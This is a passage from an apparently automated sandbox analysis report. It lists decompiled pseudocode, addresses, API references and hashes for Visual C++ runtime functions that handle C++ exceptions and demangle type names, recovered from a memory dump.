											if(_t277 == 0) {
												L96:
												_t211 = _t321;
											} else {
												_t278 =  *((intOrPtr*)(_t280 + 1));
												__eflags = _t278 -  *((intOrPtr*)(_t210 + 1));
												if(_t278 !=  *((intOrPtr*)(_t210 + 1))) {
													break;
												} else {
													_t280 = _t280 + 2;
													_t210 = _t210 + 2;
													__eflags = _t278;
													if(_t278 != 0) {
														continue;
													} else {
														goto L96;
													}
												}
											}
											L98:
											__eflags = _t211;
											if(_t211 == 0) {
												goto L100;
											} else {
												_t208 = 0;
											}
											goto L109;
										}
										asm("sbb eax, eax");
										_t211 = _t210 | 0x00000001;
										__eflags = _t211;
										goto L98;
									}
								} else {
									__eflags =  *_t308 & 0x00000010;
									if(( *_t308 & 0x00000010) != 0) {
										goto L108;
									} else {
										goto L90;
									}
								}
							}
						}
						L109:
						return _t208;
					}
				} else {
					_t274 = _a4;
					if( *_t274 != 0xe06d7363 || _t274[0x10] != 3 || _t274[0x14] != 0x19930520 && _t274[0x14] != 0x19930521 && _t274[0x14] != 0x19930522) {
						L22:
						_t300 = _a12;
						_v8 = _t300;
						goto L24;
					} else {
						_t319 = 0;
						if(_t274[0x1c] != 0) {
							goto L22;
						} else {
							_t225 = E00C58862(_t274, _t279, _t300, _t305, 0);
							if( *((intOrPtr*)(_t225 + 0x10)) == 0) {
								L60:
								return _t225;
							} else {
								_t274 =  *(E00C58862(_t274, _t279, _t300, _t305, 0) + 0x10);
								_t263 = E00C58862(_t274, _t279, _t300, _t305, 0);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t263 + 0x14));
								if(_t274 == 0 ||  *_t274 == 0xe06d7363 && _t274[0x10] == 3 && (_t274[0x14] == 0x19930520 || _t274[0x14] == 0x19930521 || _t274[0x14] == 0x19930522) && _t274[0x1c] == _t319) {
									goto L66;
								} else {
									if( *((intOrPtr*)(E00C58862(_t274, _t279, _t300, _t305, _t319) + 0x1c)) == _t319) {
										L23:
										_t300 = _v8;
										_t279 = _v12;
										L24:
										_v52 = _t305;
										_v48 = 0;
										__eflags =  *_t274 - 0xe06d7363;
										if( *_t274 != 0xe06d7363) {
											L56:
											__eflags = _t305[3];
											if(_t305[3] <= 0) {
												goto L59;
											} else {
												__eflags = _a24;
												if(_a24 != 0) {
													goto L66;
												} else {
													_push(_a32);
													_push(_a28);
													_push(_t279);
													_push(_t305);
													_push(_a16);
													_push(_t300);
													_push(_a8);
													_push(_t274);
													L67();
													_t335 = _t335 + 0x20;
													goto L59;
												}
											}
										} else {
											__eflags = _t274[0x10] - 3;
											if(_t274[0x10] != 3) {
												goto L56;
											} else {
												__eflags = _t274[0x14] - 0x19930520;
												if(_t274[0x14] == 0x19930520) {
													L29:
													_t319 = _a32;
													__eflags = _t305[3];
													if(_t305[3] > 0) {
														_push(_a28);
														E00C5FDDB(_t274, _t279, _t305, _t319,  &_v68,  &_v52, _t279, _a16, _t305);
														_t300 = _v64;
														_t335 = _t335 + 0x18;
														_t250 = _v68;
														_v44 = _t250;
														_v16 = _t300;
														__eflags = _t300 - _v56;
														if(_t300 < _v56) {
															_t294 = _t300 * 0x14;
															__eflags = _t294;
															_v32 = _t294;
															do {
																_t295 = 5;
																_t253 = memcpy( &_v104,  *((intOrPtr*)( *_t250 + 0x10)) + _t294, _t295 << 2);
																_t335 = _t335 + 0xc;
																__eflags = _v104 - _t253;
																if(_v104 <= _t253) {
																	__eflags = _t253 - _v100;
																	if(_t253 <= _v100) {
																		_t298 = 0;
																		_v20 = 0;
																		__eflags = _v92;
																		if(_v92 != 0) {
																			_t255 =  *(_t274[0x1c] + 0xc);
																			_t303 =  *_t255;
																			_t256 =  &(_t255[1]);
																			__eflags = _t256;
																			_v36 = _t256;
																			_t257 = _v88;
																			_v40 = _t303;
																			_v24 = _t257;
																			do {
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				_t318 = _v36;
																				_t330 = _t303;
																				__eflags = _t330;
																				if(_t330 <= 0) {
																					goto L40;
																				} else {
																					while(1) {
																						_push(_t274[0x1c]);
																						_t258 =  &_v84;
																						_push( *_t318);
																						_push(_t258);
																						L86();
																						_t335 = _t335 + 0xc;
																						__eflags = _t258;
																						if(_t258 != 0) {
																							break;
																						}
																						_t330 = _t330 - 1;
																						_t318 = _t318 + 4;
																						__eflags = _t330;
																						if(_t330 > 0) {
																							continue;
																						} else {
																							_t298 = _v20;
																							_t257 = _v24;
																							_t303 = _v40;
																							goto L40;
																						}
																						goto L43;
																					}
																					_push(_a24);
																					_push(_v28);
																					E00C6097B(_t303, _t274, _a8, _v8, _a16, _a20,  &_v84,  *_t318,  &_v104, _a28, _a32);
																					_t335 = _t335 + 0x30;
																				}
																				L43:
																				_t300 = _v16;
																				goto L44;
																				L40:
																				_t298 = _t298 + 1;
																				_t257 = _t257 + 0x10;
																				_v20 = _t298;
																				_v24 = _t257;
																				__eflags = _t298 - _v92;
																			} while (_t298 != _v92);
																			goto L43;
																		}
																	}
																}
																L44:
																_t300 = _t300 + 1;
																_t250 = _v44;
																_t294 = _v32 + 0x14;
																_v16 = _t300;
																_v32 = _t294;
																__eflags = _t300 - _v56;
															} while (_t300 < _v56);
															_t305 = _a20;
															_t319 = _a32;
														}
													}
													__eflags = _a24;
													if(__eflags != 0) {
														_push(1);
														E00C58120(_t274, _t305, _t319, __eflags);
														_t279 = _t274;
													}
													__eflags = ( *_t305 & 0x1fffffff) - 0x19930521;
													if(( *_t305 & 0x1fffffff) < 0x19930521) {
														L59:
														_t225 = E00C58862(_t274, _t279, _t300, _t305, _t319);
														__eflags =  *(_t225 + 0x1c);
														if( *(_t225 + 0x1c) != 0) {
															goto L66;
														} else {
															goto L60;
														}
													} else {
														__eflags = _t305[7];
														if(_t305[7] != 0) {
															L52:
															_t229 = _t305[8] >> 2;
															__eflags = _t229 & 0x00000001;
															if((_t229 & 0x00000001) == 0) {
																_push(_t305[7]);
																_t230 = E00C615D3(_t274);
																_pop(_t279);
																__eflags = _t230;
																if(_t230 == 0) {
																	goto L63;
																} else {
																	goto L59;
																}
															} else {
																 *(E00C58862(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
																_t238 = E00C58862(_t274, _t279, _t300, _t305, _t319);
																_t290 = _v8;
																 *((intOrPtr*)(_t238 + 0x14)) = _v8;
																goto L61;
															}
														} else {
															_t245 = _t305[8] >> 2;
															__eflags = _t245 & 0x00000001;
															if((_t245 & 0x00000001) == 0) {
																goto L59;
															} else {
																__eflags = _a28;
																if(_a28 != 0) {
																	goto L59;
																} else {
																	goto L52;
																}
															}
														}
													}
												} else {
													__eflags = _t274[0x14] - 0x19930521;
													if(_t274[0x14] == 0x19930521) {
														goto L29;
													} else {
														__eflags = _t274[0x14] - 0x19930522;
														if(_t274[0x14] != 0x19930522) {
															goto L56;
														} else {
															goto L29;
														}
													}
												}
											}
										}
									} else {
										_v16 =  *((intOrPtr*)(E00C58862(_t274, _t279, _t300, _t305, _t319) + 0x1c));
										_t268 = E00C58862(_t274, _t279, _t300, _t305, _t319);
										_push(_v16);
										 *(_t268 + 0x1c) = _t319;
										_t269 = E00C615D3(_t274);
										_pop(_t290);
										if(_t269 != 0) {
											goto L23;
										} else {
											_t305 = _v16;
											_t356 =  *_t305 - _t319;
											if( *_t305 <= _t319) {
												L61:
												E00C7A130(_t274, _t290, _t300, _t305, _t319, __eflags);
											} else {
												while(1) {
													_t290 =  *((intOrPtr*)(_t319 + _t305[1] + 4));
													if(E00C61175( *((intOrPtr*)(_t319 + _t305[1] + 4)), _t356, 0xca395c) != 0) {
														goto L62;
													}
													_t319 = _t319 + 0x10;
													_t273 = _v20 + 1;
													_v20 = _t273;
													_t356 = _t273 -  *_t305;
													if(_t273 >=  *_t305) {
														goto L61;
													} else {
														continue;
													}
													goto L62;
												}
											}
											L62:
											_push(1);
											_push(_t274);
											E00C58120(_t274, _t305, _t319, __eflags);
											_t279 =  &_v64;
											E00C610BB( &_v64);
											E00C6192F( &_v64, 0xca141c);
											L63:
											 *(E00C58862(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
											_t232 = E00C58862(_t274, _t279, _t300, _t305, _t319);
											_t279 = _v8;
											 *(_t232 + 0x14) = _v8;
											__eflags = _t319;
											if(_t319 == 0) {
												_t319 = _a8;
											}
											E00C5FFCE(_t279, _t319, _t274);
											E00C614C8(_a8, _a16, _t305);
											_t235 = E00C616F3(_t305);
											_t335 = _t335 + 0x10;
											_push(_t235);
											E00C6143F(_t274, _t279, _t300, _t305, _t319, __eflags);
											goto L66;
										}
									}
								}
							}
						}
					}
				}
			}

0x00c609fb
0x00c60a02
0x00c60a04
0x00c60a0d
0x00c60a13
0x00c60a1b
0x00c60a1d
0x00c60a20
0x00c60a26
0x00c60d9f
0x00c60d9f
0x00c60da4
0x00c60da6
0x00c60da8
0x00c60dab
0x00c60dac
0x00c60daf
0x00c60db5
0x00c60ed4
0x00c60dbb
0x00c60dbb
0x00c60dbc
0x00c60dbd
0x00c60dc4
0x00c60dc7
0x00c60dca
0x00c60dd0
0x00c60dd2
0x00c60dd7
0x00c60dda
0x00c60ddc
0x00c60de2
0x00c60de4
0x00c60dea
0x00c60dff
0x00c60e04
0x00c60e07
0x00c60e09
0x00c60ed0
0x00000000
0x00c60ed1
0x00c60e09
0x00c60dea
0x00c60de2
0x00c60dda
0x00c60e0f
0x00c60e12
0x00c60e15
0x00c60e18
0x00c60e1b
0x00c60e21
0x00c60e33
0x00c60e38
0x00c60e3b
0x00c60e3e
0x00c60e41
0x00c60e44
0x00c60e47
0x00c60e4a
0x00000000
0x00000000
0x00c60e50
0x00c60e50
0x00c60e53
0x00c60e56
0x00c60e65
0x00c60e66
0x00c60e66
0x00c60e68
0x00c60e6b
0x00000000
0x00000000
0x00c60e6d
0x00c60e70
0x00000000
0x00000000
0x00c60e7e
0x00c60e80
0x00c60e83
0x00c60e85
0x00c60e8d
0x00c60e8d
0x00c60e90
0x00c60e92
0x00c60e94
0x00c60eb0
0x00c60eb5
0x00c60eb8
0x00c60eb8
0x00000000
0x00c60e90
0x00c60e87
0x00c60e8b
0x00000000
0x00000000
0x00000000
0x00c60ebb
0x00c60ebe
0x00c60ebf
0x00c60ec2
0x00c60ec5
0x00c60ec8
0x00c60ecb
0x00c60ecb
0x00000000
0x00c60e56
0x00c60ed5
0x00c60eda
0x00c60edb
0x00c60ede
0x00c60ee1
0x00c60ee2
0x00c60ee3
0x00c60ee4
0x00c60ee7
0x00c60ee9
0x00c60f61
0x00c60f63
0x00c60f63
0x00c60eeb
0x00c60eeb
0x00c60eee
0x00c60ef1
0x00000000
0x00c60ef3
0x00c60ef3
0x00c60ef6
0x00c60ef9
0x00c60f00
0x00c60f00
0x00c60f03
0x00c60f05
0x00c60f07
0x00c60f39
0x00c60f39
0x00c60f3c
0x00c60f43
0x00c60f43
0x00c60f46
0x00c60f49
0x00c60f50
0x00c60f50
0x00c60f53
0x00c60f5a
0x00c60f5c
0x00c60f5c
0x00c60f55
0x00c60f55
0x00c60f58
0x00000000
0x00000000
0x00c60f58
0x00c60f4b
0x00c60f4b
0x00c60f4e
0x00000000
0x00000000
0x00c60f4e
0x00c60f3e
0x00c60f3e
0x00c60f41
0x00000000
0x00000000
0x00c60f41
0x00c60f5d
0x00c60f09
0x00c60f09
0x00c60f09
0x00c60f0c
0x00c60f0c
0x00c60f0e
0x00c60f10
0x00000000
0x00000000
0x00c60f12
0x00c60f14
0x00c60f28
0x00c60f28
0x00c60f16
0x00c60f16
0x00c60f19
0x00c60f1c
0x00000000
0x00c60f1e
0x00c60f1e
0x00c60f21
0x00c60f24
0x00c60f26
0x00000000
0x00000000
0x00000000
0x00000000
0x00c60f26
0x00c60f1c
0x00c60f31
0x00c60f31
0x00c60f33
0x00000000
0x00c60f35
0x00c60f35
0x00c60f35
0x00000000
0x00c60f33
0x00c60f2c
0x00c60f2e
0x00c60f2e
0x00000000
0x00c60f2e
0x00c60efb
0x00c60efb
0x00c60efe
0x00000000
0x00000000
0x00000000
0x00000000
0x00c60efe
0x00c60ef9
0x00c60ef1
0x00c60f64
0x00c60f68
0x00c60f68
0x00c60a35
0x00c60a35
0x00c60a3e
0x00c60b3b
0x00c60b3b
0x00c60b3e
0x00000000
0x00c60a6d
0x00c60a6d
0x00c60a72
0x00000000
0x00c60a78
0x00c60a78
0x00c60a80
0x00c60d39
0x00c60d3d
0x00c60a86
0x00c60a8b
0x00c60a8e
0x00c60a93
0x00c60a9a
0x00c60a9f
0x00000000
0x00c60ad7
0x00c60adf
0x00c60b43
0x00c60b43
0x00c60b46
0x00c60b49
0x00c60b4b
0x00c60b4e
0x00c60b51
0x00c60b57
0x00c60d08
0x00c60d08
0x00c60d0b
0x00000000
0x00c60d0d
0x00c60d0d
0x00c60d10
0x00000000
0x00c60d16
0x00c60d16
0x00c60d19
0x00c60d1c
0x00c60d1d
0x00c60d1e
0x00c60d21
0x00c60d22
0x00c60d25
0x00c60d26
0x00c60d2b
0x00000000
0x00c60d2b
0x00c60d10
0x00c60b5d
0x00c60b5d
0x00c60b61
0x00000000
0x00c60b67
0x00c60b67
0x00c60b6e
0x00c60b86
0x00c60b86
0x00c60b89
0x00c60b8c
0x00c60b92
0x00c60ba2
0x00c60ba7
0x00c60baa
0x00c60bad
0x00c60bb0
0x00c60bb3
0x00c60bb6
0x00c60bb9
0x00c60bbf
0x00c60bbf
0x00c60bc2
0x00c60bc5
0x00c60bd4
0x00c60bd5
0x00c60bd5
0x00c60bd7
0x00c60bda
0x00c60be0
0x00c60be3
0x00c60be9
0x00c60beb
0x00c60bee
0x00c60bf1
0x00c60bfa
0x00c60bfd
0x00c60bff
0x00c60bff
0x00c60c02
0x00c60c05
0x00c60c08
0x00c60c0b
0x00c60c0e
0x00c60c13
0x00c60c14
0x00c60c15
0x00c60c16
0x00c60c17
0x00c60c1a
0x00c60c1c
0x00c60c1e
0x00000000
0x00c60c20
0x00c60c20
0x00c60c20
0x00c60c23
0x00c60c26
0x00c60c28
0x00c60c29
0x00c60c2e
0x00c60c31
0x00c60c33
0x00000000
0x00000000
0x00c60c35
0x00c60c36
0x00c60c39
0x00c60c3b
0x00000000
0x00c60c3d
0x00c60c3d
0x00c60c40
0x00c60c43
0x00000000
0x00c60c43
0x00000000
0x00c60c3b
0x00c60c57
0x00c60c5d
0x00c60c7a
0x00c60c7f
0x00c60c7f
0x00c60c82
0x00c60c82
0x00000000
0x00c60c46
0x00c60c46
0x00c60c47
0x00c60c4a
0x00c60c4d
0x00c60c50
0x00c60c50
0x00000000
0x00c60c55
0x00c60bf1
0x00c60be3
0x00c60c85
0x00c60c88
0x00c60c89
0x00c60c8c
0x00c60c8f
0x00c60c92
0x00c60c95
0x00c60c95
0x00c60c9e
0x00c60ca1
0x00c60ca1
0x00c60bb9
0x00c60ca4
0x00c60ca8
0x00c60caa
0x00c60cad
0x00c60cb3
0x00c60cb3
0x00c60cbb
0x00c60cc0
0x00c60d2e
0x00c60d2e
0x00c60d33
0x00c60d37
0x00000000
0x00000000
0x00000000
0x00000000
0x00c60cc2
0x00c60cc2
0x00c60cc6
0x00c60cd8
0x00c60cdb
0x00c60cde
0x00c60ce0
0x00c60cf7
0x00c60cfb
0x00c60d01
0x00c60d02
0x00c60d04
0x00000000
0x00c60d06
0x00000000
0x00c60d06
0x00c60ce2
0x00c60ce7
0x00c60cea
0x00c60cef
0x00c60cf2
0x00000000
0x00c60cf2
0x00c60cc8
0x00c60ccb
0x00c60cce
0x00c60cd0
0x00000000
0x00c60cd2
0x00c60cd2
0x00c60cd6
0x00000000
0x00000000
0x00000000
0x00000000
0x00c60cd6
0x00c60cd0
0x00c60cc6
0x00c60b70
0x00c60b70
0x00c60b77
0x00000000
0x00c60b79
0x00c60b79
0x00c60b80
0x00000000
0x00000000
0x00000000
0x00000000
0x00c60b80
0x00c60b77
0x00c60b6e
0x00c60b61
0x00c60ae1
0x00c60ae9
0x00c60aec
0x00c60af1
0x00c60af5
0x00c60af8
0x00c60afe
0x00c60b01
0x00000000
0x00c60b03
0x00c60b03
0x00c60b06
0x00c60b08
0x00c60d3e
0x00c60d3e
0x00000000
0x00c60b0e
0x00c60b16
0x00c60b21
0x00000000
0x00000000
0x00c60b2a
0x00c60b2d
0x00c60b2e
0x00c60b31
0x00c60b33
0x00000000
0x00c60b39
0x00000000
0x00c60b39
0x00000000
0x00c60b33
0x00c60b0e
0x00c60d43
0x00c60d43
0x00c60d45
0x00c60d46
0x00c60d4d
0x00c60d50
0x00c60d5e
0x00c60d63
0x00c60d68
0x00c60d6b
0x00c60d70
0x00c60d73
0x00c60d76
0x00c60d78
0x00c60d7a
0x00c60d7a
0x00c60d7f
0x00c60d8b
0x00c60d91
0x00c60d96
0x00c60d99
0x00c60d9a
0x00000000
0x00c60d9a
0x00c60b01
0x00c60adf
0x00c60a9f
0x00c60a80
0x00c60a72
0x00c60a3e

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00C60AF8
type_info::operator==.LIBVCRUNTIME ref: 00C60B1A
___TypeMatch.LIBVCRUNTIME ref: 00C60C29
CatchIt.LIBVCRUNTIME ref: 00C60C7A
IsInExceptionSpec.LIBVCRUNTIME ref: 00C60CFB
_UnwindNestedFrames.LIBCMT ref: 00C60D7F
CallUnexpected.LIBVCRUNTIME ref: 00C60D9A

Strings

csm, xrefs: 00C60AA5
csm, xrefs: 00C60B51
csm, xrefs: 00C60A38

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionSpec$CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4234981820-393685449
Opcode ID: 04efe713b780afd33145fff24438fd7a22687f498f80b7a4c76d867ced726f7e
Instruction ID: 7f481ceca03e5c245430716a3a1bfca41facc7ded11ee842689cf49f8a4457b5
Opcode Fuzzy Hash: 04efe713b780afd33145fff24438fd7a22687f498f80b7a4c76d867ced726f7e
Instruction Fuzzy Hash: 54B16775800209EFCF28DFA5C8819AFBBB5FF14311B248259E8257B256D730EA91DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00C5F12B, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 180
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00C5F12B(void* __edx, void* __edi, char* _a4, char _a8, char _a12) {
				signed int _v8;
				char _v24;
				char* _v28;
				char* _v32;
				char _v33;
				char _v44;
				char* _v48;
				char _v56;
				char _v64;
				void* __ebx;
				void* __esi;
				signed int _t50;
				char** _t56;
				char* _t57;
				char** _t59;
				char* _t65;
				char** _t76;
				signed int* _t77;
				signed int* _t78;
				char* _t82;
				char _t83;
				signed int* _t111;
				char* _t114;
				signed int* _t115;
				signed int _t116;

				_t113 = __edi;
				_t112 = __edx;
				_t50 =  *0xca3098; // 0x75d6936a
				_v8 = _t50 ^ _t116;
				_t82 = _a4;
				_t115 =  *0xca3e38; // 0x0
				_v48 = _t82;
				_t83 =  *_t115;
				_t53 = _t83 + 0xffffffd0;
				_v33 = _t83;
				if(_t83 + 0xffffffd0 > 9) {
					_push(__edi);
					if(_t83 != 0x3f) {
						if(E00C5F64E(_t115, "template-parameter-", 0x13) != 0) {
							if(E00C5F64E(_t115, "generic-type-", 0xd) != 0) {
								if(_a12 == 0 || _v33 != 0x40) {
									_t56 = E00C58E5B( &_v56, 0xca3e38, 0x40);
									L20:
									_t82 = _t56[1];
									_t114 =  *_t56;
								} else {
									_t114 = 0;
									_t115 =  &(_t115[0]);
									_t82 = 0;
									 *0xca3e38 = _t115;
								}
								goto L21;
							}
							_v32 = "`generic-type-";
							_t115 =  &(_t115[3]);
							_v28 = 0xe;
							L9:
							 *0xca3e38 = _t115;
							E00C5DCC1(_t112,  &_v44);
							if(( *0xca3e40 & 0x00004000) == 0 ||  *0xca3e48 == 0) {
								E00C59346(E00C58EDB( &_v56,  &_v32),  &_v32,  &_v44);
								_t65 =  &_v64;
								goto L14;
							} else {
								E00C5DD50( &_v44,  &_v24, 0x10);
								_t115 =  *0xca3e48; // 0x0
								 *0xc991a4(E00C7AB43( &_v44,  &_v24));
								if( *_t115() == 0) {
									E00C59346(E00C58EDB( &_v64,  &_v32),  &_v32,  &_v44);
									_t65 =  &_v56;
									L14:
									_t56 = E00C59368( &_v32, _t65, 0x27);
									goto L20;
								}
								_v28 = 0;
								_push(_v28);
								_t56 = E00C58ADD( &_v44, _t71);
								goto L20;
							}
						}
						_v32 = "`template-parameter-";
						_t115 =  &(_t115[4]);
						_v28 = 0x14;
						goto L9;
					} else {
						_t76 = E00C5E1E8(__edx,  &_v44, 0);
						_t114 =  *_t76;
						_t82 = _t76[1];
						_t77 =  *0xca3e38; // 0x0
						_v32 = _t114;
						_v28 = _t82;
						_t78 =  &(_t77[0]);
						 *0xca3e38 = _t78;
						if( *_t77 != 0x40) {
							_t79 = _t78 - 1;
							 *0xca3e38 = _t78 - 1;
							E00C59236( &_v32, (0 |  *_t79 != 0x00000000) + 1);
							_t82 = _v28;
							_t114 = _v32;
						}
						L21:
						if(_a8 != 0) {
							_t115 =  *0xca3e30; // 0x0
							if( *_t115 != 9 && _t114 != 0) {
								_t59 = E00C5C84E(0xca3e54, 8);
								if(_t59 != 0) {
									 *_t59 = _t114;
									_t59[1] = _t82;
									 *_t115 =  *_t115 + 1;
									 *(_t115 + 4 +  *_t115 * 4) = _t59;
								}
							}
						}
						_t57 = _v48;
						 *_t57 = _t114;
						_t57[4] = _t82;
						_pop(_t113);
						goto L27;
					}
				} else {
					_t111 =  *0xca3e30; // 0x0
					 *0xca3e38 = _t115;
					E00C59268(_t111, _t82, _t53);
					_t57 = _t82;
					L27:
					return E00C572B1(_t57, _t82, _v8 ^ _t116, _t112, _t113, _t115);
				}
			}

0x00c5f12b
0x00c5f12b
0x00c5f131
0x00c5f138
0x00c5f13c
0x00c5f140
0x00c5f146
0x00c5f149
0x00c5f14e
0x00c5f151
0x00c5f157
0x00c5f174
0x00c5f178
0x00c5f1dc
0x00c5f203
0x00c5f2ce
0x00c5f2ed
0x00c5f2f2
0x00c5f2f2
0x00c5f2f5
0x00c5f2d6
0x00c5f2d6
0x00c5f2d8
0x00c5f2d9
0x00c5f2db
0x00c5f2db
0x00000000
0x00c5f2ce
0x00c5f209
0x00c5f210
0x00c5f213
0x00c5f21a
0x00c5f21d
0x00c5f224
0x00c5f234
0x00c5f2c0
0x00c5f2c5
0x00000000
0x00c5f23f
0x00c5f248
0x00c5f24d
0x00c5f260
0x00c5f26b
0x00c5f295
0x00c5f29a
0x00c5f29d
0x00c5f2a3
0x00000000
0x00c5f2a3
0x00c5f26d
0x00c5f274
0x00c5f278
0x00000000
0x00c5f278
0x00c5f234
0x00c5f1de
0x00c5f1e5
0x00c5f1e8
0x00000000
0x00c5f17a
0x00c5f180
0x00c5f187
0x00c5f189
0x00c5f18c
0x00c5f191
0x00c5f194
0x00c5f199
0x00c5f19a
0x00c5f1a2
0x00c5f1a8
0x00c5f1ab
0x00c5f1ba
0x00c5f1bf
0x00c5f1c2
0x00c5f1c2
0x00c5f2f7
0x00c5f2fb
0x00c5f2fd
0x00c5f306
0x00c5f313
0x00c5f31a
0x00c5f31c
0x00c5f31e
0x00c5f321
0x00c5f325
0x00c5f325
0x00c5f31a
0x00c5f306
0x00c5f329
0x00c5f32c
0x00c5f32e
0x00c5f331
0x00000000
0x00c5f331
0x00c5f159
0x00c5f159
0x00c5f162
0x00c5f168
0x00c5f16d
0x00c5f332
0x00c5f33f
0x00c5f33f

APIs

Replicator::operator[].LIBVCRUNTIME ref: 00C5F168
DName::operator=.LIBVCRUNTIME ref: 00C5F1BA

Strings

generic-type-, xrefs: 00C5F1F3
@, xrefs: 00C5F2D0
template-parameter-, xrefs: 00C5F1CC

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Name::operator=Replicator::operator[]
String ID: @$generic-type-$template-parameter-
API String ID: 3211817929-1320211309
Opcode ID: 3829dad077070dd4d3ffc2ec1a41cd39e1d6ecd6a9fe18ea033056c5b4cb1129
Instruction ID: fa7b6b03b4742da637cdea047f3668e5480bbf0d309ad71224b9c29b11febadf
Opcode Fuzzy Hash: 3829dad077070dd4d3ffc2ec1a41cd39e1d6ecd6a9fe18ea033056c5b4cb1129
Instruction Fuzzy Hash: 1B61F7B9900245DFDB08DF54DC55BEEB7B4EF09301F14002DE911A72A1DB749A8ECB58

Uniqueness

Uniqueness Score: -1.00%

Function 00C5AAD4, Relevance: 15.3, APIs: 10, Instructions: 337
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E00C5AAD4(signed int* _a4, signed int* _a8) {
				signed char _v5;
				signed int _v12;
				char* _v16;
				signed int _v20;
				char* _v24;
				signed int _v28;
				char* _v32;
				signed char _t134;
				signed int* _t136;
				signed int _t138;
				signed int _t139;
				signed char _t142;
				signed int _t144;
				signed int _t154;
				signed int _t155;
				signed int _t156;
				signed int _t176;
				signed int _t177;
				signed int _t178;
				signed int _t179;
				signed int _t181;
				signed int _t183;
				signed int _t188;
				signed int _t189;
				signed int* _t193;
				void* _t196;
				signed int _t202;
				void* _t204;
				void* _t205;
				void* _t206;
				void* _t207;
				void* _t208;
				signed int _t210;
				signed int _t211;
				signed int _t223;
				signed char _t227;
				signed int _t229;
				signed int _t232;
				void* _t235;
				void* _t247;

				_t210 =  *0xca3e38; // 0x0
				_t134 =  *_t210;
				if(_t134 == 0) {
					E00C59302(_t210, _a4, 1, _a8);
					L91:
					_t136 = _a4;
					L92:
					return _t136;
				}
				_t235 = 2;
				_t202 = _t134 & 0x000000ff;
				_t211 = _t210 + 1;
				_v16 = 0;
				 *0xca3e38 = _t211;
				_v12 = 0;
				_t232 = 9;
				_t247 = _t202 - 0x58;
				if(_t247 > 0) {
					__eflags = _t202 - 0x5f;
					if(_t202 == 0x5f) {
						_t227 =  *_t211;
						_t38 = _t211 + 1; // 0x2
						 *0xca3e38 = _t38;
						_t138 = _t227 & 0x000000ff;
						_v5 = _t227;
						__eflags = _t138 - 0x4d;
						if(__eflags > 0) {
							_t139 = _t138 - 0x4e;
							__eflags = _t139 - 0xb;
							if(_t139 > 0xb) {
								L37:
								_v32 = "UNKNOWN";
								L38:
								_v28 = 7;
								L39:
								_t212 =  &_v16;
								E00C591A0( &_v16,  &_v32);
								L40:
								_t142 = _v5;
								L41:
								_t144 = (_t142 & 0x000000ff) - 0x45;
								__eflags = _t144;
								if(_t144 == 0) {
									L46:
									_v28 = _t232;
									L47:
									_v32 = "unsigned ";
									L48:
									_t212 = E00C58EDB( &_v24,  &_v32);
									E00C59346(_t146,  &_v32,  &_v16);
									_v16 = _v32;
									_v12 = _v28;
									L49:
									_t150 = _a8;
									if( *_a8 != 0) {
										E00C59440( &_v16, E00C592D7(_t212,  &_v32, 0x20, _t150));
									}
									_t136 = _a4;
									 *_t136 = _v16;
									_t136[1] = _v12;
									goto L92;
								}
								_t154 = _t144 - _t235;
								__eflags = _t154;
								if(_t154 == 0) {
									goto L46;
								}
								_t155 = _t154 - _t235;
								__eflags = _t155;
								if(_t155 == 0) {
									goto L46;
								}
								_t156 = _t155 - _t235;
								__eflags = _t156;
								if(_t156 == 0) {
									goto L46;
								}
								__eflags = _t156 != _t235;
								if(_t156 != _t235) {
									goto L49;
								}
								goto L46;
							}
							switch( *((intOrPtr*)(_t139 * 4 +  &M00C5AFD8))) {
								case 0:
									_v32 = "bool";
									goto L80;
								case 1:
									_push(0xfffffffe);
									_pop(_t203);
									__eflags = 0;
									L68:
									_t158 = _a8;
									_v16 = 0;
									_v12 = 0;
									_t219 =  *_t158;
									_t159 = _t158[1];
									_v32 = _t219;
									_v28 = _t159;
									__eflags = _t203 - 0xfffffffe;
									if(_t203 != 0xfffffffe) {
										__eflags = _t219;
										if(_t219 == 0) {
											_t237 = _t203 & 0x00000002;
											__eflags = _t203 & 0x00000001;
											if((_t203 & 0x00000001) == 0) {
												__eflags = _t237;
												if(_t237 != 0) {
													_v24 = "volatile";
													_v20 = 8;
													E00C591A0( &_v16,  &_v24);
												}
											} else {
												_v24 = "const";
												_v20 = 5;
												E00C591A0( &_v16,  &_v24);
												__eflags = _t237;
												if(_t237 != 0) {
													_v24 = " volatile";
													_v20 = 9;
													E00C593E8( &_v16,  &_v24);
												}
											}
										}
										E00C5D5A0(_t203, _a4,  &_v16,  &_v32, 1);
										goto L91;
									}
									_v28 = _t159 | 0x00000800;
									E00C5D5A0(_t203,  &_v24,  &_v16,  &_v32, 0);
									_t229 = _v20;
									__eflags = 0x00000800 & _t229;
									if((0x00000800 & _t229) == 0) {
										_v32 = 0xc99dd4;
										_v28 = 2;
										E00C593E8( &_v24,  &_v32);
										_t229 = _v20;
									}
									_t223 = _v24;
									goto L89;
								case 2:
									_v32 = "auto";
									L80:
									_v28 = 4;
									goto L39;
								case 3:
									_v32 = "char8_t";
									goto L38;
								case 4:
									_v32 = "<unknown>";
									_v28 = __edi;
									goto L39;
								case 5:
